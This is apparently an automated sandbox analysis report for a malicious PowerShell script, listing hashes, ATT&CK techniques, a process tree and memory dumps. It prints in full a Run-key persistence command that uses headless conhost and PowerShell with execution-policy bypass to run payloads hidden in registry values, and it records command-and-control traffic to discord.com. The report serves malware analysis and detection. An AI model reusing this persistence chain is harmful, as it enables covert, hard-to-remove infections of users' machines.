93332048c2ab4bdcca5f636f245172a3dca812d944046dd517d585023ea6a9e0

Analysis

user interaction
yes
max time kernel
148s
max time network
150s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
26/07/2026, 20:52

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
client.ps1
Size 183KB
Sample260726-zn2dcs1xev
SHA256 93332048c2ab4bdcca5f636f245172a3dca812d944046dd517d585023ea6a9e0
MD5 dc402d14192e990380c6075b132b07c2
SHA1 f13ab2b4adf96f814110b4b3a6eb901fad713569
SHA512 937f24752c4c35d7208683137bff365fe813c0b28d993b02a37ea3ddffd503cfe8cc0f694f8d543394a0bbaf2efc4ddeea44d2a55dc18e743dc45f4b75d00f0c
SSDEEP 3072:wZrl5ZMGw9OaY1ThUvWbgstjg2A0L4/nUkjSIdpq6vU9biorG2SMD1RuF0D9:wZx5mGM8TiUvq5MkjVPWqJMxp
TLSH
T19504F1860FCA0AA9F19F8ED4D55F138763F1D92ABE120614CF3268EB782BD444635D39
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

discovery execution persistence

Malware Config

Signatures

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
6	4940	powershell.exe
7	3040	powershell.exe
10	4940	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\MicrosoftLaunch = "cmd /c start conhost --headless powershell -ep bypass -c (iex (gpv HKCU:\\Software\\ODBC\\ODBC.INI\\dBASE Files\\Engines\\Xbase ThreadsSync));cmd /c start conhost --headless powershell -ep bypass -c (iex (gpv HKCU:\\Software\\Netscape\\Netscape Navigator\\Viewers TYPE2TYPE6));cmd /c start conhost --headless powershell -ep bypass -c (iex (gpv HKCU:\\Software\\Netscape\\Netscape Navigator\\Viewers application/potTYPE2TYPE6));cmd /c start conhost --headless powershell -ep bypass -c (iex (gpv HKCU:\\Software\\JavaSoft\\DeploymentProperties deployment.expiration.decision.suppression.11.381.2deployment.browser.path))"	PowerShell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5144	powershell.exe
1224	powershell.exe
4144	powershell.exe
4940	powershell.exe
3040	powershell.exe
6080	PowerShell.exe

Contacts third-party web service commonly abused for C2 1 TTPs 4 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
1	discord.com
6	discord.com
7	discord.com
10	discord.com

Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135

Suspicious behavior: EnumeratesProcesses 17 IoCs

pid	Process
6080	PowerShell.exe
6080	PowerShell.exe
5144	powershell.exe
5144	powershell.exe
1224	powershell.exe
1224	powershell.exe
4144	powershell.exe
4144	powershell.exe
5144	powershell.exe
1224	powershell.exe
4144	powershell.exe
4940	powershell.exe
4940	powershell.exe
4940	powershell.exe
3040	powershell.exe
3040	powershell.exe
3040	powershell.exe

Suspicious use of AdjustPrivilegeToken 48 IoCs

description	pid	Process
Token: SeDebugPrivilege	6080	PowerShell.exe
Token: SeIncreaseQuotaPrivilege	6080	PowerShell.exe
Token: SeSecurityPrivilege	6080	PowerShell.exe
Token: SeTakeOwnershipPrivilege	6080	PowerShell.exe
Token: SeLoadDriverPrivilege	6080	PowerShell.exe
Token: SeSystemProfilePrivilege	6080	PowerShell.exe
Token: SeSystemtimePrivilege	6080	PowerShell.exe
Token: SeProfSingleProcessPrivilege	6080	PowerShell.exe
Token: SeIncBasePriorityPrivilege	6080	PowerShell.exe
Token: SeCreatePagefilePrivilege	6080	PowerShell.exe
Token: SeBackupPrivilege	6080	PowerShell.exe
Token: SeRestorePrivilege	6080	PowerShell.exe
Token: SeShutdownPrivilege	6080	PowerShell.exe
Token: SeDebugPrivilege	6080	PowerShell.exe
Token: SeSystemEnvironmentPrivilege	6080	PowerShell.exe
Token: SeRemoteShutdownPrivilege	6080	PowerShell.exe
Token: SeUndockPrivilege	6080	PowerShell.exe
Token: SeManageVolumePrivilege	6080	PowerShell.exe
Token: 33	6080	PowerShell.exe
Token: 34	6080	PowerShell.exe
Token: 35	6080	PowerShell.exe
Token: 36	6080	PowerShell.exe
Token: SeIncreaseQuotaPrivilege	6080	PowerShell.exe
Token: SeSecurityPrivilege	6080	PowerShell.exe
Token: SeTakeOwnershipPrivilege	6080	PowerShell.exe
Token: SeLoadDriverPrivilege	6080	PowerShell.exe
Token: SeSystemProfilePrivilege	6080	PowerShell.exe
Token: SeSystemtimePrivilege	6080	PowerShell.exe
Token: SeProfSingleProcessPrivilege	6080	PowerShell.exe
Token: SeIncBasePriorityPrivilege	6080	PowerShell.exe
Token: SeCreatePagefilePrivilege	6080	PowerShell.exe
Token: SeBackupPrivilege	6080	PowerShell.exe
Token: SeRestorePrivilege	6080	PowerShell.exe
Token: SeShutdownPrivilege	6080	PowerShell.exe
Token: SeDebugPrivilege	6080	PowerShell.exe
Token: SeSystemEnvironmentPrivilege	6080	PowerShell.exe
Token: SeRemoteShutdownPrivilege	6080	PowerShell.exe
Token: SeUndockPrivilege	6080	PowerShell.exe
Token: SeManageVolumePrivilege	6080	PowerShell.exe
Token: 33	6080	PowerShell.exe
Token: 34	6080	PowerShell.exe
Token: 35	6080	PowerShell.exe
Token: 36	6080	PowerShell.exe
Token: SeDebugPrivilege	5144	powershell.exe
Token: SeDebugPrivilege	1224	powershell.exe
Token: SeDebugPrivilege	4144	powershell.exe
Token: SeDebugPrivilege	4940	powershell.exe
Token: SeDebugPrivilege	3040	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 6080 wrote to memory of 4600	6080	PowerShell.exe	91
PID 4600 wrote to memory of 5144	4600	conhost.exe	92
PID 6080 wrote to memory of 5176	6080	PowerShell.exe	93
PID 5176 wrote to memory of 1224	5176	conhost.exe	94
PID 6080 wrote to memory of 2724	6080	PowerShell.exe	95
PID 2724 wrote to memory of 4144	2724	conhost.exe	96
PID 6080 wrote to memory of 6108	6080	PowerShell.exe	97
PID 6108 wrote to memory of 4940	6108	conhost.exe	98
PID 5008 wrote to memory of 4868	5008	cmd.exe	101
PID 4868 wrote to memory of 3040	4868	conhost.exe	102

C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\client.ps1
1⤵
- Adds Run key to start application
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:6080
- C:\Windows\system32\conhost.exe
  "C:\Windows\system32\conhost.exe" --headless powershell -ep bypass -c (iex (gpv HKCU:\Software\ODBC\ODBC.INI\dBASE Files\Engines\Xbase ThreadsSync))
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4600
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -c (iex (gpv HKCU:\Software\ODBC\ODBC.INI\dBASE Files\Engines\Xbase ThreadsSync))
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5144
- C:\Windows\system32\conhost.exe
  "C:\Windows\system32\conhost.exe" --headless powershell -ep bypass -c (iex (gpv HKCU:\Software\Netscape\Netscape Navigator\Viewers TYPE2TYPE6))
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5176
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -c (iex (gpv HKCU:\Software\Netscape\Netscape Navigator\Viewers TYPE2TYPE6))
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1224
- C:\Windows\system32\conhost.exe
  "C:\Windows\system32\conhost.exe" --headless powershell -ep bypass -c (iex (gpv HKCU:\Software\Netscape\Netscape Navigator\Viewers application/potTYPE2TYPE6))
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2724
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -c (iex (gpv HKCU:\Software\Netscape\Netscape Navigator\Viewers application/potTYPE2TYPE6))
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4144
- C:\Windows\system32\conhost.exe
  "C:\Windows\system32\conhost.exe" --headless powershell -ep bypass -c (iex (gpv HKCU:\Software\JavaSoft\DeploymentProperties deployment.expiration.decision.suppression.11.381.2deployment.browser.path))
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:6108
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -c (iex (gpv HKCU:\Software\JavaSoft\DeploymentProperties deployment.expiration.decision.suppression.11.381.2deployment.browser.path))
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4940

C:\Windows\system32\cmd.exe
"cmd /c start conhost --headless powershell -ep bypass -c (iex (gpv HKCU:\Software\ODBC\ODBC.INI\dBASE Files\Engines\Xbase ThreadsSync));cmd /c start conhost --headless powershell -ep bypass -c (iex (gpv HKCU:\Software\Netscape\Netscape Navigator\Viewers TYPE2TYPE6));cmd /c start conhost --headless powershell -ep bypass -c (iex (gpv HKCU:\Software\Netscape\Netscape Navigator\Viewers application/potTYPE2TYPE6));cmd /c start conhost --headless powershell -ep bypass -c (iex (gpv HKCU:\Software\JavaSoft\DeploymentProperties deployment.expiration.decision.suppression.11.381.2deployment.browser.path))"
1⤵
- Suspicious use of WriteProcessMemory
PID:5008
- C:\Windows\system32\conhost.exe
  conhost --headless powershell -ep bypass -c (iex (gpv HKCU:\Software\ODBC\ODBC.INI\dBASE Files\Engines\Xbase ThreadsSync));cmd /c start conhost --headless powershell -ep bypass -c (iex (gpv HKCU:\Software\Netscape\Netscape Navigator\Viewers TYPE2TYPE6));cmd /c start conhost --headless powershell -ep bypass -c (iex (gpv HKCU:\Software\Netscape\Netscape Navigator\Viewers application/potTYPE2TYPE6));cmd /c start conhost --headless powershell -ep bypass -c (iex (gpv HKCU:\Software\JavaSoft\DeploymentProperties deployment.expiration.decision.suppression.11.381.2deployment.browser.path))"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4868
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -c (iex (gpv HKCU:\Software\ODBC\ODBC.INI\dBASE Files\Engines\Xbase ThreadsSync));cmd /c start conhost --headless powershell -ep bypass -c (iex (gpv HKCU:\Software\Netscape\Netscape Navigator\Viewers TYPE2TYPE6));cmd /c start conhost --headless powershell -ep bypass -c (iex (gpv HKCU:\Software\Netscape\Netscape Navigator\Viewers application/potTYPE2TYPE6));cmd /c start conhost --headless powershell -ep bypass -c (iex (gpv HKCU:\Software\JavaSoft\DeploymentProperties deployment.expiration.decision.suppression.11.381.2deployment.browser.path))
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3040

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Network Share Discovery

T1135

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 67KB
SHA256 0f57c6ef4f062e398afd897db02f67d987e3e600973e8f450001f4e6d249b0fe
MD5 07eb30064ce437898674846e08a80887
SHA1 1e26e3ffc7c74016d094ec318f9a0ff94019fabe
SHA512 8a6d441cc00f74b63f40d24126774ee41ee620918cd20c4a5685ab4119d66dd45b7d55f78d6ac6c8be585bc06f66677a53ed9ceda520c59a6ed62bf2f4180530
SSDEEP 1536:mKLg0mYo2hOovpfKQVGflJdpHYWh4iUx9R40i71Yi9MQyPcMrxoV3CNBQkj2Va5Z:mKLg0mYo2hOovpfKQVGflJd9YWqiU9RF
TLSH
T137636192E9204E75E1A66F3EF15622627C30394690F8113211DC25EFA987D970B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 6ae23de86afee999f4ee50b55cc6ffdb88c467803e44b80fb11b9d4c446100ea
MD5 854767b37c1d0dcf6f2a8900502a84ce
SHA1 4cb6e1521ee10f5d684a1f30151fecae58bebc70
SHA512 bcfe188cd1a203e70d6e37d6f4fa73c4308021c1dd081556432824dca82910c24e3c2774c47816781a15ab56e168ce4bae5d8f0c84a187cb04a5a01b040a738d
TLSH
T1E3219737B3DC8215CC9A413A10CDAC1032BAC3CB80DECFAB7B84E255A82F699DE60550
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 3202d789598aa93f5c5bc6fee8c5cc7bcc091622838180d5c963375f40c1beee
MD5 3a8da1fc287f99527f29b478d31ec3a3
SHA1 b913be9394b8b24ef71d988c3723ecec8475be57
SHA512 eceecb09fcafa35b156b52b6b9e4cc053ea16df447c986cd7c0f1390cc9ebb300c25ee2d80b3aa229d820c6d5eaa412a518cbaf1b1012be13b2a864cbcb5bbdc
TLSH
T1B5215733F3CC8624C89A403A50CEEC1036B687DB41DECE6BBB84D154A43F599DE61260
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 42e2dbb3026f73f9b06dee8641e969ad32fb418f830a34f7a2597b13519d633e
MD5 1fe0f440a4e4b10c8a1025701146256a
SHA1 3d4892531e1432ae4848e92e20e304fc1ca211b8
SHA512 412086465c4dc87875c3c4f387d2dd28c98b9351f8e2d0818f8339fe84facb6175702610460797243180cc38f44d21d1c7cdaf35b502d0c3770d45d12a51203a
TLSH
T1A2215733F3CC8624C89A403650CEAC1036B687DB419ECE6BBB84D154A43F599DE61260
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_ywz52a2j.ieg.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ywz52a2j.ieg.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4940-53-0x000001C153160000-0x000001C153688000-memory.dmp

Download

memory/4940-52-0x000001C152A60000-0x000001C152C22000-memory.dmp

Download

memory/6080-22-0x00007FFB55280000-0x00007FFB55C24000-memory.dmp

Download

memory/6080-26-0x0000026CFF920000-0x0000026CFF92A000-memory.dmp

Download

memory/6080-13-0x00007FFB55280000-0x00007FFB55C24000-memory.dmp

Download

memory/6080-14-0x00007FFB55280000-0x00007FFB55C24000-memory.dmp

Download

memory/6080-15-0x00007FFB55280000-0x00007FFB55C24000-memory.dmp

Download

memory/6080-17-0x0000026CFF910000-0x0000026CFF91A000-memory.dmp

Download

memory/6080-16-0x00007FFB55280000-0x00007FFB55C24000-memory.dmp

Download

memory/6080-18-0x00007FFB55280000-0x00007FFB55C24000-memory.dmp

Download

memory/6080-19-0x00007FFB55280000-0x00007FFB55C24000-memory.dmp

Download

memory/6080-20-0x0000026CFFD50000-0x0000026CFFD6E000-memory.dmp

Download

memory/6080-21-0x00007FFB55280000-0x00007FFB55C24000-memory.dmp

Download

memory/6080-0-0x00007FFB5540F000-0x00007FFB55410000-memory.dmp

Download

memory/6080-23-0x00007FFB55280000-0x00007FFB55C24000-memory.dmp

Download

memory/6080-24-0x00007FFB55280000-0x00007FFB55C24000-memory.dmp

Download

memory/6080-25-0x00007FFB55280000-0x00007FFB55C24000-memory.dmp

Download

memory/6080-12-0x0000026C99EB0000-0x0000026C99F62000-memory.dmp

Download

memory/6080-27-0x0000026CFFD90000-0x0000026CFFDAC000-memory.dmp

Download

memory/6080-28-0x0000026C99C40000-0x0000026C99C48000-memory.dmp

Download

memory/6080-29-0x0000026C99C50000-0x0000026C99C56000-memory.dmp

Download

memory/6080-30-0x0000026CFF930000-0x0000026CFF93A000-memory.dmp

Download

memory/6080-32-0x0000026CFFD80000-0x0000026CFFDA4000-memory.dmp

Download

memory/6080-31-0x0000026CFFD80000-0x0000026CFFDAA000-memory.dmp

Download

memory/6080-33-0x00007FFB55280000-0x00007FFB55C24000-memory.dmp

Download

memory/6080-35-0x00007FFB55280000-0x00007FFB55C24000-memory.dmp

Download

memory/6080-11-0x0000026C99C20000-0x0000026C99C3E000-memory.dmp

Download

memory/6080-8-0x00007FFB55280000-0x00007FFB55C24000-memory.dmp

Download

memory/6080-7-0x00007FFB55280000-0x00007FFB55C24000-memory.dmp

Download

memory/6080-6-0x00007FFB55280000-0x00007FFB55C24000-memory.dmp

Download

memory/6080-5-0x00007FFB55280000-0x00007FFB55C24000-memory.dmp

Download

memory/6080-3-0x0000026CFFD20000-0x0000026CFFD42000-memory.dmp

Download

memory/6080-4-0x00007FFB55280000-0x00007FFB55C24000-memory.dmp

Download